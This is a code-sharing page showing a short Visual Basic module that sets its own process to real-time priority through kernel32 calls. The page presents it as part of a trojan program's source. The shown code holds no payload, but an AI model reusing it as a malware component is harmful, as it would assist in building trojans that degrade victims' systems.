modpriority.bas

来自「风暴木马非常好的木马程序」· BAS 代码 · 共 21 行

BAS
21 行
字号
Attribute VB_Name = "ModPriority"

Option Explicit

Public Declare Function GetCurrentProcess Lib "kernel32" _
    () As Long
Public Declare Function SetPriorityClass Lib "kernel32" _
    (ByVal hProcess As Long, ByVal dwPriorityClass As Long) As Long

Const REALTIME_PRIORITY_CLASS = &H100

Sub SetPriority()
        
    Dim Ret As Long
    
    Ret = SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS)

End Sub


⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?